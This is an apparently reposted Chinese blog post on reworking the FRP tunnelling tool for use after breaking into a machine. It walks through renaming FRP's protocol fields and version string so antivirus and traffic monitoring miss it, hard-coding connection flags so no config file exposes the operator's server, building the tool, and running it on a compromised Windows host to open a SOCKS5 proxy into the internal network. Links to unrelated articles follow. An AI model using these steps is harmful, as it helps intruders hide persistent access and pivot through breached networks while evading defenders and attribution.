内网穿透-FRP流量改造

2024-06-01 21:04
文章标签 流量 穿透 改造 frp

本文主要是介绍内网穿透-FRP流量改造,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

在拿下一台机器作为入口时,内网代理就变得尤为重要。他是我们进行横向渗透一个中间人,没了代理在内网中就寸步难行。而内网穿透的工具有很多,比如frp,reGeorg等等非常优秀的代理工具。使用方法不在赘述,这篇文章主要记录下在FRP内网代理时的流量改造。FRP作为一个开源的项目,它的特征早已被各大厂商掌握了,不进行流量上的改变我们就无法成功的建立连接,如果直接使用github编译后的EXE直接会被360等杀软直接判定为黑客行为,流量改造也是为了能够达到一定程度上的免杀效果。

改造前的流量

在frp默认配置文件 frpc.ini中不开启 tls_enable = true 时,客户端在连接服务端时会把版本信息传给服务端进行认证。下面是在连接时wires hark抓包的流量

可以看见非常明显的frp流量特征

"version","host name","user","arch","privilege_key","times tamp","run id","metas","pool_count"

这时候我们需要修改frp源码中的特征,并且使用Go环境重新编译

源码地址:

https://github.com/fatedier/frp

特征认证信息处:

pkg\msg\msg.go

可以将所有的变量加一个任意的前缀,比如Apple

而在pkg\util\version\version.go 中定义了版本信息,这里也可以修改一下

修改为3.14.15

客户端连接

如果按照正常的客户端连接方式,我们需要一个frpc.ini配置文件,这里会暴露我们的代理服务器,如果被溯源问题就大了。

[common]
server_addr = xxx.xxx.xxx.xxx
server_port = 4444
privilege_token = pentest
tls_enable = true[ssh]
type = tcp
remote_port = 23333
plugin = socks5

所以我们在源码中添加一段自定义的代码,使其用接收参数的方式进行指定ip和端口。

在cmd\frpc\sub\root.go文件中添加如下函数(具体配置需要自己更改)

func getFileContent(ip string,port string) {var content string = `[common]server_addr = ` + ip + `server_port = ` + port + `tls_enable = true[ssh]type = tcpremote_port = 6000plugin = socks5`fileContent = content
}

同时别忘了对变量进行定义

在 init函数中加两行代码,对ip和端口进行接收。

rootCmd.PersistentFlags().StringVarP(&ip, "server_addr", "t", "", "server_addr")

rootCmd.PersistentFlags().StringVarP(&port, "server_port", "p", "", "server_port")

最后需要在 runClient()函数下调用我们自定义的函数getFileContent()

注意一下参数的接收和代码的注释。

Go环境搭建编译frp

这里大佬搞得一键搭建QAQ,不过注意要在 /root/ 目录下运行该脚本

go_tar_gz="go1.15.5.linux-amd64.tar.gz"go_url="https://dl.google.com/go/${go_tar_gz}"wget --no-check-certificate -O ${go_tar_gz}  ${go_url}
tar -xvf  ${go_tar_gz}
rm  ${go_tar_gz}
# go语言 添加环境变量cat <> ~/.profile
export GOROOT=/root/go
export GOPATH=/root/go/work
export PATH=$PATH:/root/go/binEOFsource ~/.profile
mkdir -p /root/go/work
# 测试go语言安装mkdir -p ~/helloworld
cd ~/helloworldcat < helloworld.go// Test that we can do page 1 of the C book.package mainfunc main() {print("hello, world\n")
}
EOFgo build./helloworld

我这里使用的kali安装的Go环境,使用go version检测是否成功

如果不成功可能是环境变量文件没有刷新,刷新一下就好了

source ~/.profile

编译

之后把修改过后的frp源码拖到 go/work/ 目录下,修改 Makefile.cross-compiles 文件,添加

export GOPROXY=https://goproxy.cn

之所以添加export GOPROXY=https://goproxy.cn是因为在国内,go语言的这个包的网站是被禁止的,我们无法直接访问。

make -f Makefile.cross-compiles

编译出的各种版本如下

测试

环境

内网网段:

win7 192.168.111.2

kali 192.168.111.3 (有Web服务,仅内网访问)

模拟公网网段:

win7 192.168.10.19(桥接)

实验的时候需要把物理机中自定义的内网网段的网卡禁用掉。

将编译后的frps_linux_386上传到公网VPS中,创建frps.ini文件,写入

[common] bind_port = 9998 #自定义与客户端要连接的端口

随后载入该配置文件启动

./frps_linux_386 -c frps.ini

服务端已经成功启动,我们在靶机win7上传我们编译过后的frpc_windows_386.exe.

然后通过cmd命令行指定ip和端口进行连接。当然,上传之后直接在cs中执行shell命令也可。

在本地通过SocksCap64,Proxifier代理工具连接。

连接成功,如果不使用代理服务器进行访问。

使用SocksCap64代理后进行访问

成功访问了内网kali的Web服务,ssh服务也可以连上。

关闭进程

shell taskkill /f /t /im frpc_windows_386.exe

遗留问题

虽然其他服务都能够正常的访问,但是却Ping不通,不知道是自己环境的问题还是ICMP协议通过代理后会有什么变化的问题。

临时解决:

虽然无法ping,但是可以直接通过CS拿下的机器进行信息收集等工作,感觉代理后Ping的通内网并不是刚需。

这篇关于内网穿透-FRP流量改造的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1022118

相关文章

poj 2135 有流量限制的最小费用最大流

题意: 农场里有n块地,其中约翰的家在1号地,二n号地有个很大的仓库。 农场有M条道路(双向),道路i连接着ai号地和bi号地,长度为ci。 约翰希望按照从家里出发,经过若干块地后到达仓库,然后再返回家中的顺序带朋友参观。 如果要求往返不能经过同一条路两次,求参观路线总长度的最小值。 解析: 如果只考虑去或者回的情况,问题只不过是无向图中两点之间的最短路问题。 但是现在要去要回

poj 3422 有流量限制的最小费用流 反用求最大 + 拆点

题意: 给一个n*n(50 * 50) 的数字迷宫,从左上点开始走,走到右下点。 每次只能往右移一格,或者往下移一格。 每个格子,第一次到达时可以获得格子对应的数字作为奖励,再次到达则没有奖励。 问走k次这个迷宫,最大能获得多少奖励。 解析: 拆点,拿样例来说明: 3 2 1 2 3 0 2 1 1 4 2 3*3的数字迷宫,走两次最大能获得多少奖励。 将每个点拆成两个

poj 2195 bfs+有流量限制的最小费用流

题意: 给一张n * m(100 * 100)的图,图中” . " 代表空地, “ M ” 代表人, “ H ” 代表家。 现在,要你安排每个人从他所在的地方移动到家里,每移动一格的消耗是1,求最小的消耗。 人可以移动到家的那一格但是不进去。 解析: 先用bfs搞出每个M与每个H的距离。 然后就是网络流的建图过程了,先抽象出源点s和汇点t。 令源点与每个人相连,容量为1,费用为

poj 3068 有流量限制的最小费用网络流

题意: m条有向边连接了n个仓库,每条边都有一定费用。 将两种危险品从0运到n-1,除了起点和终点外,危险品不能放在一起,也不能走相同的路径。 求最小的费用是多少。 解析: 抽象出一个源点s一个汇点t,源点与0相连,费用为0,容量为2。 汇点与n - 1相连,费用为0,容量为2。 每条边之间也相连,费用为每条边的费用,容量为1。 建图完毕之后,求一条流量为2的最小费用流就行了

Sentinel 高可用流量管理框架

Sentinel 是面向分布式服务架构的高可用流量防护组件,主要以流量为切入点,从限流、流量整形、熔断降级、系统负载保护、热点防护等多个维度来帮助开发者保障微服务的稳定性。 Sentinel 具有以下特性: 丰富的应用场景:Sentinel 承接了阿里巴巴近 10 年的双十一大促流量的核心场景,例如秒杀(即突发流量控制在系统容量可以承受的范围)、消息削峰填谷、集群流量控制、实时熔断下游不可用应

Redis中使用布隆过滤器解决缓存穿透问题

一、缓存穿透(失效)问题 缓存穿透是指查询一个一定不存在的数据,由于缓存中没有命中,会去数据库中查询,而数据库中也没有该数据,并且每次查询都不会命中缓存,从而每次请求都直接打到了数据库上,这会给数据库带来巨大压力。 二、布隆过滤器原理 布隆过滤器(Bloom Filter)是一种空间效率很高的随机数据结构,它利用多个不同的哈希函数将一个元素映射到一个位数组中的多个位置,并将这些位置的值置

防止缓存击穿、缓存穿透和缓存雪崩

使用Redis缓存防止缓存击穿、缓存穿透和缓存雪崩 在高并发系统中,缓存击穿、缓存穿透和缓存雪崩是三种常见的缓存问题。本文将介绍如何使用Redis、分布式锁和布隆过滤器有效解决这些问题,并且会通过Java代码详细说明实现的思路和原因。 1. 背景 缓存穿透:指的是大量请求缓存中不存在且数据库中也不存在的数据,导致大量请求直接打到数据库上,形成数据库压力。 缓存击穿:指的是某个热点数据在

使用lanproxy进行内网穿透

https://github.com/ffay/lanproxy https://www.jianshu.com/p/6482ac354d34

WebShell流量特征检测_哥斯拉篇

90后用菜刀,95后用蚁剑,00后用冰蝎和哥斯拉,以phpshell连接为例,本文主要是对后三款经典的webshell管理工具进行流量分析和检测。 什么是一句话木马? 1、定义 顾名思义就是执行恶意指令的木马,通过技术手段上传到指定服务器并可以正常访问,将我们需要服务器执行的命令上传并执行 2、特点 短小精悍,功能强大,隐蔽性非常好 3、举例 php一句话木马用php语言编写的,运行

redis缓存预热、缓存穿透的详细教程

前言     作此篇主要在于关于redis的缓存预热、缓存雪崩、缓存击穿和缓存穿透在面试中经常遇到,工作中也是经常遇到。中级程序员基本上不可避免要克服的几个问题,希望一次性解释清楚 缓存预热 MySQL加入新增100条记录,一般默认以MySQL为准为底单数据,如何同步给redis(布隆过滤器) 这是100合法数据,mysql有100条新纪录,但是redis无。     为什么需要预热